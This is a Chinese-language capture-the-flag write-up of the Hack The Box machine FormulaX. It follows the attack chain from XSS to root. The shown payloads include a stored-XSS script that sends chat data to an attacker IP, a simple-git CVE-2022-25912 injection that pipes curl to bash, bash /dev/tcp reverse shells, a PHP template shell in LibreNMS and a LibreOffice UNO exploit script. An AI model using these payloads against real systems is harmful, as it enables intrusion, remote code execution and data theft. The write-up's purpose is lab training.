htb_FormulaX(XSS)

信息收集

常规信息收集

bash 复制代码
nmap -sV -sC 10.10.11.6

开放22,80端口

bash 复制代码
gobuster dir -u http://10.10.11.6/ -w /usr/share/Seclists-master/Discovery/Web-Content/directory-list-2.3-medium.txt

一无所获

80端口-web

注册账户

Chat Now 和 Contact Us是重点

Chat Now

一个ai聊天页面

提醒我们使用help和history命令

抓包,发现该请求采用socket.io轮询方式

contact_us

一个表单,尝试xss注入,存在漏洞

这个听说可以扫出来,但我换了几个工具也没扫到,不知道为啥

chat页面的js文件

Client端:接受从服务端传来的message字段,向服务端发送client_message字段

仿照chat.js代码,编写payload利用xss漏洞在contact_us表单上尝试注入

xss.js

javascript 复制代码
let value;
 const res = axios.get(`/user/api/chat`);
 const socket = io('/',{withCredentials: true});
 //listening for the messages
 socket.on('message', (my_message) => { 
//console.log("Received From Server: " + my_message)  
 // Show_messages_on_screen_of_Server(my_message)     
    //将监听数据发送到本机监听端口上
    fetch("http://10.10.16.9:3333/?mes=" + btoa(my_message );}) 
     
   
const typing_chat_new = () => {  
//尝试向服务器发送'history'
 value = "history";
 //document.getElementById('user_message').value  
 if (value) {  
 // sending the messages to the server  
 socket.emit('client_message', value)  
 Show_messages_on_screen_of_Client(value);  
 // here we will do out socket things..  
 document.getElementById('user_message').value = "" } 
else { alert("Cannot send Empty Messages"); }} 

将xss.js文件放在攻击机上,开启http服务,表单上注入(表单过滤了<script>)

bash 复制代码
<img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.16.9:4444/xss.js';document.head.appendChild(script1);"/>

攻击机开启监听

python3 -m http.server 3333

接收到返回数据,进行base64解码

其中一句提醒我们有一个新的域名,加入/etc/hosts访问

dev-git-auto-update.chatbot.htb

发现版本号simple-git v3.14 ,存在cve漏洞

CVE-2022-25912

poc提示我们输入以下代码,可以使服务器下载payload并执行

bash 复制代码
ext::sh -c curl% http://10.10.16.9:3333/shell1.sh|bash >&2

shell1.sh

bash 复制代码
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.9/1234 0>&1"

get shell

反弹shell执行,获得www-data权限

发现存在mongodb数据库

查看users表内容

bash 复制代码
show dbs

use testing

show collections

db.users.find()

发现两个用户信息,将密码复制下来放到john中解密

解密出来一个,是frank_dorky的密码frank_dorky:manchesterunited

开放了22端口,登录ssh,获得frank_dorky权限

sudo -l 无法使用

查看网络端口开放,开放了3000端口,上传chisel转发出来看看

bash 复制代码
chisel server -p 6150 --reverse
./chisellinux client 10.10.16.9:6150 R:3000:127.0.0.1:3000

本机访问127.0.0.1:3000,是一个libernms界面,搜索相关漏洞后,发现可以通过调用adduser.php添加管理用户

(这一段忘记截图了)

在frank_dorky用户下

bash 复制代码
cd /opt/librenms

./adduser.php cc cc 10

添加成功后,利用账号密码cc:cc进行登录

若提示失败,则将域名(127.0.1 libernms.com)添加至/etc/hosts再访问(libernms.com:3000)

该网站有一个templates模块,添加一段反弹shell的php代码

https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms

php 复制代码
@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.9/8888 0>&1'");
@endphp

反弹成功后,使用env命令查看环境变量,发现用户kai_relay凭据

kai_relay:mychemicalformulaX

提权

登录ssh,获得kai_relay权限

sudo -l 查看权限,发现该用户对于/user/bin/office.sh文件具有sudo权限

该脚本用于启动LiberOffice,开放2002端口接受远程调用

脚本链接

修改最后一句为反弹shell文件路径

python 复制代码
#exploit.py
import uno
from com.sun.star.system import XSystemShellExecute
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)

args = parser.parse_args()
# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
                                "com.sun.star.bridge.UnoUrlResolver", localContext )

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(
        "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))
    
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("/tmp/sh1.sh", '',1)

cd /tmp 后,将exploit.py,sh1.sh上传,给sh1.sh添加执行权限

再另起一个ssh连接,先执行sudo office.sh再执行exploit.py

bash 复制代码
sudo /usr/bin/office.sh
另起终端
python3 exploit.py --host localhost --port 2002

成功反弹root权限shell

相关推荐
大方子4 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha6 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络6 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd8 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你13 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云